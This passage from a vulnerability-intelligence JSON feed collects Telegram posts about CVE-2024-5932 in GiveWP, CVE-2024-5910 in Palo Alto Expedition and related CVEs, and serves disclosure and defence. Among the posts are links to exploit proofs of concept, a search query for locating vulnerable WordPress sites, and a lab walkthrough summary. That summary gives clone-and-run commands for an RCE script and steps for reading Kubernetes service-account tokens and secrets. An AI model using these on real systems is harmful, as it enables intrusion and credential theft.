\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u043f\u043e\u0441\u0442\u0430 give_title.\n\n\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0449\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435, \u0442\u0430\u043a\u0443\u044e \u043a\u0430\u043a \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u0430\u043d \u043d\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 give_title.\n\n\u0417\u0430\u0442\u0435\u043c \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u043e\u0439 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0438 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0435\u0432\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043d\u0438\u0445.\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f RCE \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432.\n\n\u0412 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0431\u0440\u043e\u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0441\u0430\u0439\u0442\u0430, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0432 \u0435\u0433\u043e, \u0435\u0441\u043b\u0438 \u043e\u043d \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442 \u0435\u0433\u043e \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0435\u0439\u0441\u044f \u043f\u043e\u0434 \u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 GiveWP \u0432\u0435\u0440\u0441\u0438\u0438 3.14.1 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0438 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c 3.14.2.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435.", "creation_timestamp": "2024-08-20T18:01:05.000000Z"}, {"uuid": "3f7b9423-7c69-41e2-b694-15488388bc91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "exploited", "source": "https://t.me/true_secator/6413", "content": "\u0412 Palo Alto Networks \u0432\u0438\u0434\u0438\u043c\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0442\u0430\u0440\u044b\u043c \u0434\u043e\u0431\u0440\u044b\u043c \u00ab\u043a\u043e\u0440\u0430\u0431\u0435\u043b\u044c\u043d\u044b\u043c\u00bb \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u0432\u044b\u0431\u043e\u0440\u0430 \u043d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u044b \u0432 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0440\u0430\u0437 \u0442\u0440\u0443\u0431\u0438\u0442\u044c \u0442\u0440\u0435\u0432\u043e\u0433\u0443, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0437\u0432\u0430\u043b\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c (\u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c) \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u043c \u044d\u043a\u0440\u0430\u043d\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f PAN-OS \u0441\u0432\u043e\u0438\u0445 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432 \u0438\u0437-\u0437\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u041f\u0440\u0430\u0432\u0434\u0430, \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u044b\u0442\u0430\u044f\u0441\u044c \u0435\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u043d\u044f\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\nPalo Alto Networks \u0441\u0435\u0439\u0447\u0430\u0441 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u043b\u044e\u0431\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044f \u043f\u0440\u043e\u0434\u0435\u043b\u044b\u0432\u0430\u0442\u044c \u0442\u043e\u0436\u0435 \u0441\u0430\u043c\u043e\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0438 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c \u0434\u043b\u044f \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439.\n\n\u0418 \u0432\u0441\u0435 \u044d\u0442\u043e \u043d\u0430 \u0444\u043e\u043d\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u0433\u043d\u0430\u043b\u043e\u0432 CISA \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Palo Alto Networks Expedition (CVE-2024-5910), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0438\u044e\u043b\u0435 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442.", "creation_timestamp": "2024-11-11T12:30:17.000000Z"}, {"uuid": "3f8019dd-9df0-435f-bd5b-826bd9e436f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://t.me/sysadm_in_up/2279", "content": "Palo Alto Expedition Missing Authentication Vulnerability: Palo Alto Expedition contains a missing authentication vulnerability that allows an attacker with network access to takeover an Expedition admin account and potentially access configuration secrets, credentials, and other data\n\nhttps://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2024-5910&field_date_added_wrapper=all&field_cve=&sort_by=field_date_added&items_per_page=20&url=", "creation_timestamp": "2026-07-30T00:03:01.360815Z"}, {"uuid": "3ecbb36f-c792-4e63-8475-430ec3802d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "published-proof-of-concept", "source": "https://t.me/HackerOne/3707", "content": "https://medium.com/@karthithehacker/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb", "creation_timestamp": "2024-09-01T20:33:40.000000Z"}, {"uuid": "649f9e32-ddba-4254-9d71-668e5cbb8ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "exploited", "source": "https://t.me/thehackernews/5853", "content": "\ud83d\udea8 CISA has added a critical #vulnerability (CVE-2024-5910) in Palo Alto Networks Expedition to its Known Exploited Vulnerabilities catalog. \n \nThis flaw allows attackers to take over admin accounts, risking sensitive data. \n \n\ud83d\udc49 Read details: https://thehackernews.com/2024/11/cisa-alerts-to-active-exploitation-of.html", "creation_timestamp": "2024-11-08T06:59:23.000000Z"}, {"uuid": "e4f668ea-0855-4c11-a446-b50f6ded673e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/9082", "content": "The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855\n\nhttps://medium.com/@karthithehacker/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb", "creation_timestamp": "2024-09-01T01:57:21.000000Z"}, {"uuid": "751c7214-c8a9-4969-8bc2-9f60a77be289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5921", "type": "exploited", "source": "https://t.me/CyberBulletin/26620", "content": "\u26a1\ufe0fPalo Alto Networks Warns of GlobalProtect App Flaw with Public Exploit Code (CVE-2024-5921).\n\n#CyberBulletin", "creation_timestamp": "2024-11-26T13:02:34.000000Z"}, {"uuid": "f1415aa8-e633-4c7d-9b92-c308636656b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "Telegram/oLGdsO7OYb3TfdUbQH0jy-A5TJwt4fzzmjTGX3o2dA-Cl_QbbQ", "content": "", "creation_timestamp": "2024-12-09T16:43:12.000000Z"}, {"uuid": "6d84aca9-ff5c-410f-be01-aa00b459a506", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11054", "content": "#exploit\n1. CVE-2024-4879:\nJelly Template Injection Vulnerability in ServiceNow\nhttps://blog.redteam-pentesting.de/2024/moodle-rce\n\n2. CVE-2024-5932:\nWordPress GiveWP Donation/Fundraising Platform 3.14.1 Code Execution\nhttps://packetstormsecurity.com/files/180463/WordPress-GiveWP-Donation-Fundraising-Platform-3.14.1-Code-Execution.html", "creation_timestamp": "2024-08-30T16:51:16.000000Z"}, {"uuid": "e117c316-334d-44e7-8929-8d88bc135a65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11267", "content": "#exploit\n1. CVE-2024-5910:\nMissing Authentication Leads to Palo Alto Admin Account Takeover\nhttps://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise\n\n2. CVE-2024-9473:\nPalo Alto Global Protect LPE\nhttps://packetstormsecurity.com/files/182142\n\n3. CVE-2024-8698:\nImproper Verification of SAML Responses Leading to Privilege Escalation in Keycloak\nhttps://github.com/huydoppaz/CVE-2024-8698-POC", "creation_timestamp": "2024-10-12T06:26:23.000000Z"}, {"uuid": "b96ce0c0-2c21-43ae-bb56-77be87a0b2f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5907", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11552", "content": "#exploit\n1. CVE-2024-5907, CVE-2024-9469:\nLPE/Privilege Escalation in Palo Alto Cortex XDR Agent\nhttps://blog.scrt.ch/2024/12/05/attacking-cortex-xdr-from-an-unprivileged-user-perspective\n\n2. CVE 2024-37397:\nIvanti Endpoint Manager XXE\nhttps://d4mianwayne.github.io/posts/ivanti-endpoint-manager-xxe-cve-2024-37397\n\n3. CVE-2024-52595:\nMutation XSS & lxml_html_clean bypass\nhttps://jorianwoltjer.com/blog/p/hacking/mutation-xss", "creation_timestamp": "2024-12-13T16:50:37.000000Z"}, {"uuid": "3237513e-6b82-48ff-9be3-189424f58e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/4257", "content": "#exploit\n1. CVE-2024-4879:\nJelly Template Injection Vulnerability in ServiceNow\nhttps://blog.redteam-pentesting.de/2024/moodle-rce\n\n2. CVE-2024-5932:\nWordPress GiveWP Donation/Fundraising Platform 3.14.1 Code Execution\nhttps://packetstormsecurity.com/files/180463/WordPress-GiveWP-Donation-Fundraising-Platform-3.14.1-Code-Execution.html", "creation_timestamp": "2024-08-30T06:50:06.000000Z"}, {"uuid": "d42e30ec-a7f5-4f43-8519-292525124273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/4261", "content": "#exploit\n1. CVE-2024-4879:\nJelly Template Injection Vulnerability in ServiceNow\nhttps://blog.redteam-pentesting.de/2024/moodle-rce\n\n2. CVE-2024-5932:\nWordPress GiveWP Donation/Fundraising Platform 3.14.1 Code Execution\nhttps://packetstormsecurity.com/files/180463/WordPress-GiveWP-Donation-Fundraising-Platform-3.14.1-Code-Execution.html", "creation_timestamp": "2024-08-30T20:36:47.000000Z"}, {"uuid": "602b8cdd-f1d7-4f00-92aa-84c6ac1ca013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5907", "type": "seen", "source": "https://t.me/suboxone_chatroom/1532", "content": "#exploit\n1. CVE-2024-5907, CVE-2024-9469:\nLPE/Privilege Escalation in Palo Alto Cortex XDR Agent\nhttps://blog.scrt.ch/2024/12/05/attacking-cortex-xdr-from-an-unprivileged-user-perspective\n\n2. CVE 2024-37397:\nIvanti Endpoint Manager XXE\nhttps://d4mianwayne.github.io/posts/ivanti-endpoint-manager-xxe-cve-2024-37397\n\n3. CVE-2024-52595:\nMutation XSS & lxml_html_clean bypass\nhttps://jorianwoltjer.com/blog/p/hacking/mutation-xss", "creation_timestamp": "2025-01-27T07:06:24.000000Z"}, {"uuid": "a67f7f59-9e01-4517-86d3-c762c2bcdea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/malwarezh/24", "content": "#WordPress #GiveWP POP to RCE (#CVE-2024-5932 CVSS 10)\n\nThe GiveWP \u2013 Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the 'give_title' parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files.\n\nPOC: https://github.com/EQSTSeminar/CVE-2024-5932\n\nSearch Query:\nHUNTER:  web.body=\"/wp-content/plugins/give\"\n\n\n========================\n\ud83c\udf10 Owner: @z3xrin \u2705\n\ud83c\udf10 Channel: @Malwarezh \n========================", "creation_timestamp": "2024-10-16T23:31:10.000000Z"}, {"uuid": "4d5caed4-d8a0-4a5d-b5cb-b4053472d1f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/oxlogs/24", "content": "", "creation_timestamp": "2024-12-07T17:48:16.000000Z"}, {"uuid": "dbe75a38-c0e6-4314-9677-e1ad797c16ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://t.me/sysadm_in_up/2279", "content": "Palo Alto Expedition Missing Authentication Vulnerability: Palo Alto Expedition contains a missing authentication vulnerability that allows an attacker with network access to takeover an Expedition admin account and potentially access configuration secrets, credentials, and other data\n\nhttps://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2024-5910&field_date_added_wrapper=all&field_cve=&sort_by=field_date_added&items_per_page=20&url=", "creation_timestamp": "2026-08-04T00:00:06.698505Z"}, {"uuid": "6f018288-d9c8-4ee1-9043-5ad01e52a54d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/bagl3y_notes/230", "content": "\ud83c\udd95 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0430\u0447\u043a\u0438 \ud83d\udc9a (HackTheBox) \u043e\u0442 ippsec'a\n\n\n\u2049\ufe0f Giveback \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0441\u0430\u0439\u0442\u0430 \u043d\u0430 WordPress \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043a RCE \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u043c GiveWP (CVE-2024-5932 \u0438 PoC) \u27a1\ufe0f\u041f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u0432 \u043f\u0435\u0440\u0432\u044b\u0439 Kubernetes pod, \u0447\u0435\u0440\u0435\u0437 env \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d pod - LEGACY_INTRANET_SERVICE \u27a1\ufe0f CVE-2024-4577 \u0432 PHP-CGI \u0432\u0442\u043e\u0440\u043e\u0433\u043e pod'\u0430 (Advisory from famous researcher Orange Tsai)  \u27a1\ufe0f \u0417\u0430\u0431\u0438\u0440\u0430\u0435\u043c jwt-token \u0438\u0437 /var/run/secrets/kubernetes.io/serviceaccount \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 K8s API \u27a1\ufe0f \u0417\u0430\u0431\u0438\u0440\u0430\u0435\u043c \"\u0441\u0435\u043a\u0440\u0435\u0442\u044b\" \u0441 https://$APISERVER/api/v1/namespaces/default/secrets \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043f\u043e SSH \u043a \u0445\u043e\u0441\u0442\u0443 \u27a1\ufe0f root \u0447\u0435\u0440\u0435\u0437 custom runc wrapper (CVE-2024-21626, \u0438\u043d\u0444\u043e \u043f\u043e \u0431\u0430\u0433\u0435)\n\n\n#\ufe0f\u20e3\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - Giveback, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Medium\n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\n\u041f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043a\u0430 \u043f\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f uv:\ngit clone https://github.com/EQSTLab/CVE-2024-5932.git\ncd CVE-2024-5932/\nuv add --script CVE-2024-5932-rce.py -r requirements.txt\nuv run CVE-2024-5932-rce.py --help\n\n\n\ud83c\udf39 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430\n\n#video #HTB #ippsec #0xdf #Walkthroughs #CVE_2024_5932 #CVE_2024_21626 #CVE_2024_4577", "creation_timestamp": "2026-08-04T13:00:25.792841Z"}, {"uuid": "22d1aa96-669c-4647-a8b2-5e51e3818952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 